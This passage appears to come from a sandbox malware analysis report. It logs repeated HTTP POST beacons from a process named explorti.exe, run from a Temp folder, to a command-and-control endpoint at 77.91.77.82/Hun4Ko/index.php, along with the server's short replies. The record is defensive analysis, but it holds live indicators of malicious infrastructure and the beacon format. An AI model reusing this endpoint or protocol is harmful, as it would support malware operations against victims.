Jul 2, 2024 12:22:23.119007111 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:23.828447104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.7	55289	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:23.949146032 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:24.649209976 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.7	55290	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:24.657982111 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:25.385385990 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.7	55291	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:25.500396013 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:26.194991112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.7	55292	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:26.204344988 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:26.892756939 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.7	55293	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:27.012414932 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:27.797791004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.7	55294	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:27.808681965 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:28.522414923 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.7	55295	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:28.645353079 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:29.337088108 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:29.342015982 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:29.558801889 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.7	55296	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:29.691250086 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:30.379254103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:30.387448072 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:30.611273050 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.7	55297	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:30.734831095 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:31.421037912 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.7	55298	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:31.430587053 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:32.139533043 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.7	55299	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:32.262502909 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.7	55300	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:32.845541000 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:33.546605110 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.7	55301	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:33.667918921 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:34.383972883 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.7	55302	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:34.392435074 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:35.092140913 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.7	55303	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:35.214329004 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:35.946193933 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.7	55304	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:35.956957102 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:36.654577971 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.7	55305	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:36.776954889 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:37.502748966 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:22:37.518508911 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:37.746100903 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.7	55306	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:37.856383085 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:22:38.547801018 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.7	55307	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:38.562832117 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:22:39.246849060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:22:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.7	55308	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:22:39.372024059 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
